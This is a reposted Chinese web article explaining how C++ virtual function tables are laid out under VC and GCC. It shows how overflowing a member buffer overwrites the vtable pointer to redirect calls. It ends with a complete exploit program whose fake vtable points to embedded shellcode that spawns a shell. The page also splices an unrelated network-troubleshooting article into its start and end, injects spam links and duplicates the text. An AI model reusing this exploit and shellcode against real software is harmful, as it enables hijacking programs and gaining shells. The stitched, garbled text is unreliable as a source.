| 導購 | 订阅 | 在线投稿
分享
 
 
 

C++中通過溢出覆蓋虛函數指針列表執行代碼

來源:互聯網網民  2008-06-01 01:11:39  評論

1.配置交換機

將交換機端口配置<!--StartFragment-->目錄:=版權所有 軟件 下載 學院 版權所有=

1. C++中虛函數的靜態聯編和動態聯編

2. VC中對象的空間組織和溢出試驗

3. GCC中對象的空間組織和溢出試驗

4. 參考

<一> C++中虛函數的靜態聯編和動態聯編

C++中的一大法寶就是虛函數,簡單來說就是加virtual要害字定義的函數。

其特性就是支持動態聯編。現在C++開發的大型軟件中幾乎已經離不開虛函數的

使用,一個典型的例子就是虛函數是MFC的基石之一。

這裏有兩個概念需要先解釋:=版權所有 軟件 下載 學院 版權所有=

靜態聯編:通俗點來講就是程序編譯時確定調用目標的地址。

動態聯編:程序運行階段確定調用目標的地址。

在C++中通常的函數調用都是靜態聯編,但假如定義函數時加了virtual要害

字,並且在調用函數時是通過指針或引用調用,那麽此時就是采用動態聯編。

一個簡單例子:

// test.cpp

#include<iostream.h>

class ClassA

{

public:

int num1;

ClassA(){ num1=0xffff; };

virtual void test1(void){};

virtual void test2(void){};

};

ClassA objA,* pobjA;

int main(void)

{

pobjA=&objA;

objA.test1();

objA.test2();

pobjA->test1();

pobjA->test2();

return 0;

}

使用VC編譯:

開一個命令行直接在命令行調用cl來編譯: (假如你安裝vc時沒有選擇注冊環境

變量,那麽先在命令行運行VC目錄下bin\VCVARS32.BAT )

cl test.cpp /Fa

産生test.asm中間彙編代碼

接下來就看看asm裏有什麽玄虛,分析起來有點長,要有耐心 !

我們來看看:

數據定義:

_BSS SEGMENT

?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位

?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一個地址32位

_BSS ENDS

看到objA爲64位,裏邊存放了哪些內容呢? 接著看看構造函數:

_this$ = -4

??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定義了一個變量 _this ?!

; File test.cpp

; Line 6

push ebp

mov ebp, esp

push ecx

mov DWord PTR _this$[ebp], ecx ; ecx 賦值給 _this ?? 不明白??

mov eax, DWORD PTR _this$[ebp]

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

; 前面的部分都是編譯器加的東東,我們的賦值在這裏

mov ecx, DWORD PTR _this$[ebp]

mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;

; 看來 _this+4就是num1的地址

mov eax, DWORD PTR _this$[ebp]

mov esp, ebp

pop ebp

ret 0

??0ClassA@@QAE@XZ ENDP

那個_this和mov DWORD PTR _this$[ebp], ecx 讓人比較郁悶了吧,不急看看何

處調用的構造函數:

_$E9 PROC NEAR

; File test.cpp

; Line 10

push ebp

mov ebp, esp

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A

call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()

pop ebp

ret 0

_$E9 ENDP

看,ecx指向objA的地址,通過賦值,那個_this就是objA的開始地址,其實CLASS中

的非靜態方法編譯器編譯時都會自動添加一個this變量,並且在函數開始處把ecx

賦值給他,指向調用該方法的對象的地址 。

那麽構造函數裏的這兩行又是幹什麽呢?

mov eax, DWORD PTR _this$[ebp]

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

我們已經知道_this保存的爲對象地址: &objA。 那麽 eax = &objA

接著就相當于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@

來看看 ??_7ClassA@@6B@ 是哪個道上混的:

CONST SEGMENT

??_7ClassA@@6B@

DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'

DD FLAT:?test2@ClassA@@UAEXXZ

CONST ENDS

看來這裏存放的就是test1(),test2()函數的入口地址 ! 那麽這個賦值:

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

就是在對象的起始地址填入這麽一個地址列表的地址。

好了,至此我們已經看到了objA的構造了:

| 低地址 |

+--------+ ---> objA的起始地址 &objA

|pvftable|

+--------+-------------------------+

| num1 | num1變量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> |

+--------+ ---> objA的結束地址 +--->+--------------+ 地址表 vftable

| 高地址 | |test1()的地址 |

+--------------+

|test2()的地址 |

+--------------+

來看看main函數:

_main PROC NEAR

; Line 13

push ebp

mov ebp, esp

; Line 14

mov DWORD PTR ?pobjA@@3PAVClassA@@A,

OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA

; Line 15

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指針

; 指向調用者的地址

call ?test1@ClassA@@UAEXXZ ; objA.test1()

; objA.test1()直接調用,已經確定了地址

; Line 16

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A

call ?test2@ClassA@@UAEXXZ ; objA.test2()

; Line 17

mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

mov edx, DWORD PTR [eax] ; edx = vftable

mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

call DWORD PTR [edx] ;

; call vftable[0] 即 pobjA->test1() 看地址是動態查找的 ; )

; Line 18

mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

mov edx, DWORD PTR [eax]

mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

call DWORD PTR [edx+4] ; pobjA->test2()

; call vftable[1] 而vftable[1]裏存放的是test2()的入口地址

; Line 19

xor eax, eax

; Line 20

pop ebp

ret 0

_main ENDP

好了,相信到這裏你已經對動態聯編有了深刻印象。

<二> VC中對象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織和溢出試驗

通過上面的分析我們可以對對象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織概括如下:

| 低地址 |

+----------+ ---> objA的起始地址 &objA

|pvftable |--------------------->+

+----------+ |

|各成員變量| |

+----------+ ---> objA的結束地址 +---> +--------------+ 地址表 vftable

| 高地址 | |虛函數1的地址 |

+--------------+

|虛函數2的地址 |

+--------------+

| . . . . . . |

可以看出假如我們能覆蓋pvtable然後構造一個自己的vftable表那麽動態聯編就使得

我們能改變程序流程!

現在來作一個溢出試驗:

先寫個程序來看看

#include<iostream.h>

class ClassEx

{

};

int buff[1];

ClassEx obj1,obj2,* pobj;

int main(void)

{

cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;

return 0;

}

用cl編譯運行結果爲:

0x00408998:0x00408990:0x00408991:0x00408994

編譯器把buff的地址放到後面了!

把程序改一改,定義變量時換成:

ClassEx obj1,obj2,* pobj;

int buff[1];

結果還是一樣!! 不會是vc就是防著這一手吧!

看來想覆蓋不輕易呀 ; )

只能通過obj1 溢出覆蓋obj2了

//ex_vc.cpp

#include<iostream.h>

class ClassEx

{

public:

int buff[1];

virtual void test(void){ cout << "ClassEx::test()" << endl;};

};

void entry(void)

{

cout << "Why a u here ?!" << endl;

};

ClassEx obj1,obj2,* pobj;

int main(void)

{

pobj=&obj2;

obj2.test();

int vtab[1] = { (int) entry };//構造vtab,

//entry的入口地址

obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域

//這裏修改了函數指針列表的地址到vtab

pobj->test();

return 0;

}

編譯 cl ex_vc.cpp

運行結果:

ClassEx::test()

Why a u here ?!

測試環境: VC6

看我們修改了程序執行流程 ^_^

平時我們編程時可能用virtaul不多,但假如我們使用BC/VC等,且使用了廠商提供的

庫,其實我們已經大量使用了虛函數 ,以後寫程序可要小心了,一個不留神的變量

賦值可能會後患無窮。 //開始琢磨好多系統帶的程序也是vc寫的,裏邊會不會 ....

<三> GCC中對象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織和溢出試驗

剛才我們已經分析完vc下的許多細節了,那麽我們接下來看看gcc裏有沒有什麽不

一樣!分析方法一樣,就是寫個test.cpp用gcc -S test.cpp 來編譯得到彙編文件

test.s 然後分析test.s我們就能得到許多細節上的東西。

通過分析我們可以看到:

gcc中對象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>結構如下:

| 低地址 |

+---------------+ 對象的開始地址

| |

| 成員變量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> |

| |

+---------------+

| pvftable |----------->+------------------+ vftable

+---------------+ | 0 |

| 高地址 | +------------------+

| XXXXXXXX |

+------------------+

| 0 |

+----------------- +

| 虛函數1入口地址 |

+------------------+

| 0 |

+----------------- +

| 虛函數2入口地址 |

+------------------+

| . . . . . . |

哈哈,可以看到gcc下有個非常大的優勢,就是成員變量在pvftable

前面,要是溢出成員變量賦值就能覆蓋pvftable,比vc下方便多了!

來寫個溢出測試程序:

//test.cpp

#include<iostream.h>

class ClassTest

{

public:

long buff[1]; //大小爲1

virtual void test(void)

{

cout << "ClassTest test()" << endl;

}

};

void entry(void)

{

cout << "Why are u here ?!" << endl;

}

int main(void)

{

ClassTest a,*p =&a;

long addr[] = {0,0,0,(long)entry}; //構建的虛函數表

//test() -> entry()

a.buff[1] = ( long ) addr;// 溢出,操作了虛函數列表指針

a.test(); //靜態聯編的,不會有事

p->test(); //動態聯編的,到我們的函數表去找地址,

// 結果就變成了調用函數 entry()

}

編譯: gcc test.cpp -lstdc++

執行結果:

bash-2.05# ./a.out

ClassTest test()

Why are u here ?!

測試程序說明:

具體的就是gcc -S test.cpp生成 test.s 後裏邊有這麽一段:

.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits

.p2align 2

.type _vt$9ClassTest,@object

.size _vt$9ClassTest,24

_vt$9ClassTest:

.value 0

.value 0

.long __tf9ClassTest

.value 0

.value 0

.long test__9ClassTest ----------+

.zero 8 |

.comm __ti9ClassTest,8,4 |

|

|

test()的地址 <----+

這就是其虛函數列表裏的內容了。

test()地址在第3個(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>

所以我們構造addr[]時:

long addr[] = {0,0,0,(long)entry};

就覆蓋了test()函數的地址 爲 entry()的地址

p->test()

時就跑到我們構建的地址表裏取了entry的地址去運行了

測試環境 FreeBSD 4.4

gcc 2.95.3

來一個真實一點的測試:

通過溢出覆蓋pvftable,時期指向一個我們自己構造的

vftable,並且讓vftable的虛函數地址指向我們的一段shellcode

從而得到一個shell。

#include<iostream.h>

#include<stdio.h>

class ClassBase //定義一個基礎類

{

public:

char buff[128];

void setBuffer(char * s)

{

strcpy(buff,s);

};

virtual void printBuffer(void){}; //虛函數

};

class ClassA :public ClassBase

{

public:

void printBuffer(void)

{

cout << "Name :" << buff << endl;

};

};

class ClassB : public ClassBase

{

public:

void printBuffer(void)

{

cout << "The text : " << buff << endl;

};

};

char buffer[512],*pc;

long * pl = (long *) buffer;

long addr = 0xbfbffabc; // 在我的機器上就是 &b ^_*

char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";

int i;

int main(void)

{

ClassA a;

ClassB b;

ClassBase * classBuff[2] = { &a,&b };

a.setBuffer("Tom");

b.setBuffer("Hello ! This is world of c++ .");

for(i=0;i<2;i++) //C++中的慣用手法,

//一個基礎類的指針指向上層類對象時調

//用的爲高層類的虛函數

classBuff[i]->printBuffer(); // 這裏是正常用法

cout << &a << " : " << &b << endl; // &b就是上面addr的值,

//假如你的機器上兩個值不同就改一改addr值吧!

//構造一個非凡的buff呆會給b.setBuffer

// 在開始處構造一個vftable

pl[0]=0xAAAAAAAA; //填充1

pl[1]=0xAAAAAAAA; //填充2

pl[2]=0xAAAAAAAA; //填充3

pl[3]=addr+16; //虛函數printBuffer入口地址

// 的位置指向shell代碼處了

pc = buffer+16;

strcpy(pc,shellcode);

pc+=strlen(shellcode);

for(;pc - buffer < 128 ; *pc++='A'); //填充

pl=(long *) pc;

*pl= addr; //覆蓋pvftable使其指向我們構造的列表

b.setBuffer(buffer); //溢出了吧 .

// 再來一次

for(i=0;i<2;i++)

classBuff[i]->printBuffer(); // classBuffer[1].printBuffer

// 時一個shell就出來了

return 0;

}

bash-2.05$ ./a.out

Name :Tom

The text : Hello ! This is world of c++ .

0xbfbffb44 : 0xbfbffabc

Name :

$ <------ 呵呵,成功了

說明:

addr = &b 也就是 &b.buff[0]

b.setBuffer(buffer)

就是讓 b.buff溢出,覆蓋128+4+1個地址。

此時內存中的構造如下:

&b.buff[0] 也是 &b

^

|

|

[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]

____ ^ ___

| | |

| | |

| +---+ | |

| | |

+---------------> 128 <--------------+ |

|

此處即pvftable項 ,被溢出覆蓋爲 addr <---+

現在b.buff[0]的開始處就構建了一個我們自己的虛

函數表,虛函數的入口地址爲shellcode的地址 !

本文只是一個引導性文字,還有許多沒

有提到的細節,需要自己去分析。

俗話說自己動手豐衣足食 *_&

<四> 參考

Phrack56# << SMASHING C++ VPTRS >>

=版權所有 軟件 下載 學院 版權所有=

個人愚見,望斧正!

__watercloud__

(watercloud@nsfocus.com)

爲100M全雙工,服務器安裝一塊Intell00M EISA網卡,在大流量負荷數據傳輸時,速度變得極慢,最後發現這款網卡不支持全雙工。將交換機端口改爲半雙工以後,故障消失。這說明交換機的端口與網卡的速率和雙工方式必須一致。目前有許多自適應的網卡和交換機,由于品牌的不一致,往往不能正確實現全雙工方式,只有手工強制設定才能解決。

2.雙絞線的線序

將服務器與交換機的距離由5米改爲60米,結果無論如何也連接不通,爲什麽呢?以太網一般使用兩對雙絞線,排列在1、2、3、6的位置,假如使用的不是兩對線,而是將原配對使用的線分開使用,就會形成纏繞,從而産生較大的串擾(NEXT),影響網絡性能。上述故障的原因是由于3、6未使用配對線,在距離變長的情況下連接不通。將RJ45頭重新按線序做過以後,一切恢複正常。

3.網絡與硬盤

基于文件訪問和打印的網絡的瓶頸是服務器硬盤的速度,所以配置好服務器硬盤對于網絡的性能起著決定性的作用。以下提供幾點意見供你參考:

·選用SCSI接口和高轉速硬盤。

·硬盤陣列卡能較大幅度地提升硬盤的讀寫性能和安全性,建議選用。

·不要使低速SCSI設備(如CD)與硬盤共用同一SCSI通道。

4.網段與流量

某台服務器,有兩台文件讀寫極爲頻繁的工作站,當服務器只安裝一塊網卡,形成單獨網段時,這個網段上的所有設備反應都很慢,當服務器安裝了兩塊網卡,形成兩個網段以後,將這兩台文件讀寫極爲頻繁的工作站分別接在不同的網段上,網絡中所有設備的反應速度都有了顯著增加。這是因爲增加的網段分擔了原來較爲集中的數據流量,從而提高了網絡的反應速度。

5.橋接與路由

安裝一套微波聯網設備,上網調試時服務器上總是提示當前網段號應是對方的網段號。將服務器的網段號與對方改爲一致後,服務器的報警消失了。啊!原來這是一套具有橋接性質的設備。後來與另外一個地點安裝微波聯網設備,換用了其他一家廠商的産品,再連接,將兩邊的網段號改爲一致,可當裝上設備以後,服務器又出現了報警:當前路由錯誤。修改了一邊的網段以後,報警消失了。很明顯這是一套具有路由性質的設備。橋的特征是在同一網段上,而路由必須在不同網段上。

6.廣播幹擾

上述通過橋接設備聯網的兩端,分別有一套通過廣播發送信息的應用軟件。當它們同時運行時,兩邊的服務器均會發出報警:收到不完全的包。將一套應用軟件轉移到另外一個網段上以後,此報警消失。這是因爲網絡的廣播在同一網段上是沒有限制的。兩個廣播就産生了相互幹擾從而産生報警。而將一個應用軟件移到另外一個網段以後,就相當于把這個網段的廣播與另外網段上的廣播設置了路由,從而限制了廣播的幹擾,這也是路由器最重要的作用。

7.WAN與接地

無意將路由器的電源插頭插在了市電的插座上,結果64K DDN就是無法聯通。電信局來人檢查線路都很正常,最後檢查路由器電源的接地電壓,發現不對,換回到UPS的插座上,一切恢複正常。

路由器的電源插頭接地端壞掉,從而造成數據包經常丟失,做PING連接時,時好時壞。更換電源線後一切正常。WAN的連接因爲涉及到遠程線路,所以對于接地要求較爲嚴格,才能保證較強的抗幹擾性,達到規定的連接速率,不然會出現希奇的故障。

 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
1.配置交換機   將交換機端口配置<!--StartFragment-->目錄:=版權所有 軟件 下載 學院 版權所有= 1. C++中虛函數的靜態聯編和動態聯編 2. VC中對象的空間組織和溢出試驗 3. GCC中對象的空間組織和溢出試驗 4. 參考 <一> C++中虛函數的靜態聯編和動態聯編 C++中的一大法寶就是虛函數,簡單來說就是加virtual要害字定義的函數。 其特性就是支持動態聯編。現在C++開發的大型軟件中幾乎已經離不開虛函數的 使用,一個典型的例子就是虛函數是MFC的基石之一。 這裏有兩個概念需要先解釋:=版權所有 軟件 下載 學院 版權所有= 靜態聯編:通俗點來講就是程序編譯時確定調用目標的地址。 動態聯編:程序運行階段確定調用目標的地址。 在C++中通常的函數調用都是靜態聯編,但假如定義函數時加了virtual要害 字,並且在調用函數時是通過指針或引用調用,那麽此時就是采用動態聯編。 一個簡單例子: // test.cpp #include<iostream.h> class ClassA { public: int num1; ClassA(){ num1=0xffff; }; virtual void test1(void){}; virtual void test2(void){}; }; ClassA objA,* pobjA; int main(void) { pobjA=&objA; objA.test1(); objA.test2(); pobjA->test1(); pobjA->test2(); return 0; } 使用VC編譯: 開一個命令行直接在命令行調用cl來編譯: (假如你安裝vc時沒有選擇注冊環境 變量,那麽先在命令行運行VC目錄下bin\VCVARS32.BAT ) cl test.cpp /Fa 産生test.asm中間彙編代碼 接下來就看看asm裏有什麽玄虛,分析起來有點長,要有耐心 ! 我們來看看: 數據定義: _BSS SEGMENT ?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位 ?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一個地址32位 _BSS ENDS 看到objA爲64位,裏邊存放了哪些內容呢? 接著看看構造函數: _this$ = -4 ??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定義了一個變量 _this ?! ; File test.cpp ; Line 6 push ebp mov ebp, esp push ecx mov DWord PTR _this$[ebp], ecx ; ecx 賦值給 _this ?? 不明白?? mov eax, DWORD PTR _this$[ebp] mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' ; 前面的部分都是編譯器加的東東,我們的賦值在這裏 mov ecx, DWORD PTR _this$[ebp] mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff; ; 看來 _this+4就是num1的地址 mov eax, DWORD PTR _this$[ebp] mov esp, ebp pop ebp ret 0 ??0ClassA@@QAE@XZ ENDP 那個_this和mov DWORD PTR _this$[ebp], ecx 讓人比較郁悶了吧,不急看看何 處調用的構造函數: _$E9 PROC NEAR ; File test.cpp ; Line 10 push ebp mov ebp, esp mov ecx, OFFSET FLAT:?objA@@3VClassA@@A call ??0ClassA@@QAE@XZ ;call ClassA::ClassA() pop ebp ret 0 _$E9 ENDP 看,ecx指向objA的地址,通過賦值,那個_this就是objA的開始地址,其實CLASS中 的非靜態方法編譯器編譯時都會自動添加一個this變量,並且在函數開始處把ecx 賦值給他,指向調用該方法的對象的地址 。 那麽構造函數裏的這兩行又是幹什麽呢? mov eax, DWORD PTR _this$[ebp] mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' 我們已經知道_this保存的爲對象地址: &objA。 那麽 eax = &objA 接著就相當于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@ 來看看 ??_7ClassA@@6B@ 是哪個道上混的: CONST SEGMENT ??_7ClassA@@6B@ DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable' DD FLAT:?test2@ClassA@@UAEXXZ CONST ENDS 看來這裏存放的就是test1(),test2()函數的入口地址 ! 那麽這個賦值: mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' 就是在對象的起始地址填入這麽一個地址列表的地址。 好了,至此我們已經看到了objA的構造了: | 低地址 | +--------+ ---> objA的起始地址 &objA |pvftable| +--------+-------------------------+ | num1 | num1變量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> | +--------+ ---> objA的結束地址 +--->+--------------+ 地址表 vftable | 高地址 | |test1()的地址 | +--------------+ |test2()的地址 | +--------------+ 來看看main函數: _main PROC NEAR ; Line 13 push ebp mov ebp, esp ; Line 14 mov DWORD PTR ?pobjA@@3PAVClassA@@A, OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA ; Line 15 mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指針 ; 指向調用者的地址 call ?test1@ClassA@@UAEXXZ ; objA.test1() ; objA.test1()直接調用,已經確定了地址 ; Line 16 mov ecx, OFFSET FLAT:?objA@@3VClassA@@A call ?test2@ClassA@@UAEXXZ ; objA.test2() ; Line 17 mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA mov edx, DWORD PTR [eax] ; edx = vftable mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA call DWORD PTR [edx] ; ; call vftable[0] 即 pobjA->test1() 看地址是動態查找的 ; ) ; Line 18 mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA mov edx, DWORD PTR [eax] mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA call DWORD PTR [edx+4] ; pobjA->test2() ; call vftable[1] 而vftable[1]裏存放的是test2()的入口地址 ; Line 19 xor eax, eax ; Line 20 pop ebp ret 0 _main ENDP 好了,相信到這裏你已經對動態聯編有了深刻印象。 <二> VC中對象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織和溢出試驗 通過上面的分析我們可以對對象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織概括如下: | 低地址 | +----------+ ---> objA的起始地址 &objA |pvftable |--------------------->+ +----------+ | |各成員變量| | +----------+ ---> objA的結束地址 +---> +--------------+ 地址表 vftable | 高地址 | |虛函數1的地址 | +--------------+ |虛函數2的地址 | +--------------+ | . . . . . . | 可以看出假如我們能覆蓋pvtable然後構造一個自己的vftable表那麽動態聯編就使得 我們能改變程序流程! 現在來作一個溢出試驗: 先寫個程序來看看 #include<iostream.h> class ClassEx { }; int buff[1]; ClassEx obj1,obj2,* pobj; int main(void) { cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl; return 0; } 用cl編譯運行結果爲: 0x00408998:0x00408990:0x00408991:0x00408994 編譯器把buff的地址放到後面了! 把程序改一改,定義變量時換成: ClassEx obj1,obj2,* pobj; int buff[1]; 結果還是一樣!! 不會是vc就是防著這一手吧! 看來想覆蓋不輕易呀 ; ) 只能通過obj1 溢出覆蓋obj2了 //ex_vc.cpp #include<iostream.h> class ClassEx { public: int buff[1]; virtual void test(void){ cout << "ClassEx::test()" << endl;}; }; void entry(void) { cout << "Why a u here ?!" << endl; }; ClassEx obj1,obj2,* pobj; int main(void) { pobj=&obj2; obj2.test(); int vtab[1] = { (int) entry };//構造vtab, //entry的入口地址 obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域 //這裏修改了函數指針列表的地址到vtab pobj->test(); return 0; } 編譯 cl ex_vc.cpp 運行結果: ClassEx::test() Why a u here ?! 測試環境: VC6 看我們修改了程序執行流程 ^_^ 平時我們編程時可能用virtaul不多,但假如我們使用BC/VC等,且使用了廠商提供的 庫,其實我們已經大量使用了虛函數 ,以後寫程序可要小心了,一個不留神的變量 賦值可能會後患無窮。 //開始琢磨好多系統帶的程序也是vc寫的,裏邊會不會 .... <三> GCC中對象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織和溢出試驗 剛才我們已經分析完vc下的許多細節了,那麽我們接下來看看gcc裏有沒有什麽不 一樣!分析方法一樣,就是寫個test.cpp用gcc -S test.cpp 來編譯得到彙編文件 test.s 然後分析test.s我們就能得到許多細節上的東西。 通過分析我們可以看到: gcc中對象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>結構如下: | 低地址 | +---------------+ 對象的開始地址 | | | 成員變量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> | | | +---------------+ | pvftable |----------->+------------------+ vftable +---------------+ | 0 | | 高地址 | +------------------+ | XXXXXXXX | +------------------+ | 0 | +----------------- + | 虛函數1入口地址 | +------------------+ | 0 | +----------------- + | 虛函數2入口地址 | +------------------+ | . . . . . . | 哈哈,可以看到gcc下有個非常大的優勢,就是成員變量在pvftable 前面,要是溢出成員變量賦值就能覆蓋pvftable,比vc下方便多了! 來寫個溢出測試程序: //test.cpp #include<iostream.h> class ClassTest { public: long buff[1]; //大小爲1 virtual void test(void) { cout << "ClassTest test()" << endl; } }; void entry(void) { cout << "Why are u here ?!" << endl; } int main(void) { ClassTest a,*p =&a; long addr[] = {0,0,0,(long)entry}; //構建的虛函數表 //test() -> entry() a.buff[1] = ( long ) addr;// 溢出,操作了虛函數列表指針 a.test(); //靜態聯編的,不會有事 p->test(); //動態聯編的,到我們的函數表去找地址, // 結果就變成了調用函數 entry() } 編譯: gcc test.cpp -lstdc++ 執行結果: bash-2.05# ./a.out ClassTest test() Why are u here ?! 測試程序說明: 具體的就是gcc -S test.cpp生成 test.s 後裏邊有這麽一段: .section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits .p2align 2 .type _vt$9ClassTest,@object .size _vt$9ClassTest,24 _vt$9ClassTest: .value 0 .value 0 .long __tf9ClassTest .value 0 .value 0 .long test__9ClassTest ----------+ .zero 8 | .comm __ti9ClassTest,8,4 | | | test()的地址 <----+ 這就是其虛函數列表裏的內容了。 test()地址在第3個(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> 所以我們構造addr[]時: long addr[] = {0,0,0,(long)entry}; 就覆蓋了test()函數的地址 爲 entry()的地址 p->test() 時就跑到我們構建的地址表裏取了entry的地址去運行了 測試環境 FreeBSD 4.4 gcc 2.95.3 來一個真實一點的測試: 通過溢出覆蓋pvftable,時期指向一個我們自己構造的 vftable,並且讓vftable的虛函數地址指向我們的一段shellcode 從而得到一個shell。 #include<iostream.h> #include<stdio.h> class ClassBase //定義一個基礎類 { public: char buff[128]; void setBuffer(char * s) { strcpy(buff,s); }; virtual void printBuffer(void){}; //虛函數 }; class ClassA :public ClassBase { public: void printBuffer(void) { cout << "Name :" << buff << endl; }; }; class ClassB : public ClassBase { public: void printBuffer(void) { cout << "The text : " << buff << endl; }; }; char buffer[512],*pc; long * pl = (long *) buffer; long addr = 0xbfbffabc; // 在我的機器上就是 &b ^_* char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80"; int i; int main(void) { ClassA a; ClassB b; ClassBase * classBuff[2] = { &a,&b }; a.setBuffer("Tom"); b.setBuffer("Hello ! This is world of c++ ."); for(i=0;i<2;i++) //C++中的慣用手法, //一個基礎類的指針指向上層類對象時調 //用的爲高層類的虛函數 classBuff[i]->printBuffer(); // 這裏是正常用法 cout << &a << " : " << &b << endl; // &b就是上面addr的值, //假如你的機器上兩個值不同就改一改addr值吧! //構造一個非凡的buff呆會給b.setBuffer // 在開始處構造一個vftable pl[0]=0xAAAAAAAA; //填充1 pl[1]=0xAAAAAAAA; //填充2 pl[2]=0xAAAAAAAA; //填充3 pl[3]=addr+16; //虛函數printBuffer入口地址 // 的位置指向shell代碼處了 pc = buffer+16; strcpy(pc,shellcode); pc+=strlen(shellcode); for(;pc - buffer < 128 ; *pc++='A'); //填充 pl=(long *) pc; *pl= addr; //覆蓋pvftable使其指向我們構造的列表 b.setBuffer(buffer); //溢出了吧 . // 再來一次 for(i=0;i<2;i++) classBuff[i]->printBuffer(); // classBuffer[1].printBuffer // 時一個shell就出來了 return 0; } bash-2.05$ ./a.out Name :Tom The text : Hello ! This is world of c++ . 0xbfbffb44 : 0xbfbffabc Name : $ <------ 呵呵,成功了 說明: addr = &b 也就是 &b.buff[0] b.setBuffer(buffer) 就是讓 b.buff溢出,覆蓋128+4+1個地址。 此時內存中的構造如下: &b.buff[0] 也是 &b ^ | | [填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0] ____ ^ ___ | | | | | | | +---+ | | | | | +---------------> 128 <--------------+ | | 此處即pvftable項 ,被溢出覆蓋爲 addr <---+ 現在b.buff[0]的開始處就構建了一個我們自己的虛 函數表,虛函數的入口地址爲shellcode的地址 ! 本文只是一個引導性文字,還有許多沒 有提到的細節,需要自己去分析。 俗話說自己動手豐衣足食 *_& <四> 參考 Phrack56# << SMASHING C++ VPTRS >> =版權所有 軟件 下載 學院 版權所有= 個人愚見,望斧正! __watercloud__ (watercloud@nsfocus.com) 爲100M全雙工,服務器安裝一塊Intell00M EISA網卡,在大流量負荷數據傳輸時,速度變得極慢,最後發現這款網卡不支持全雙工。將交換機端口改爲半雙工以後,故障消失。這說明交換機的端口與網卡的速率和雙工方式必須一致。目前有許多自適應的網卡和交換機,由于品牌的不一致,往往不能正確實現全雙工方式,只有手工強制設定才能解決。   2.雙絞線的線序   將服務器與交換機的距離由5米改爲60米,結果無論如何也連接不通,爲什麽呢?以太網一般使用兩對雙絞線,排列在1、2、3、6的位置,假如使用的不是兩對線,而是將原配對使用的線分開使用,就會形成纏繞,從而産生較大的串擾(NEXT),影響網絡性能。上述故障的原因是由于3、6未使用配對線,在距離變長的情況下連接不通。將RJ45頭重新按線序做過以後,一切恢複正常。   3.網絡與硬盤   基于文件訪問和打印的網絡的瓶頸是服務器硬盤的速度,所以配置好服務器硬盤對于網絡的性能起著決定性的作用。以下提供幾點意見供你參考:   ·選用SCSI接口和高轉速硬盤。   ·硬盤陣列卡能較大幅度地提升硬盤的讀寫性能和安全性,建議選用。   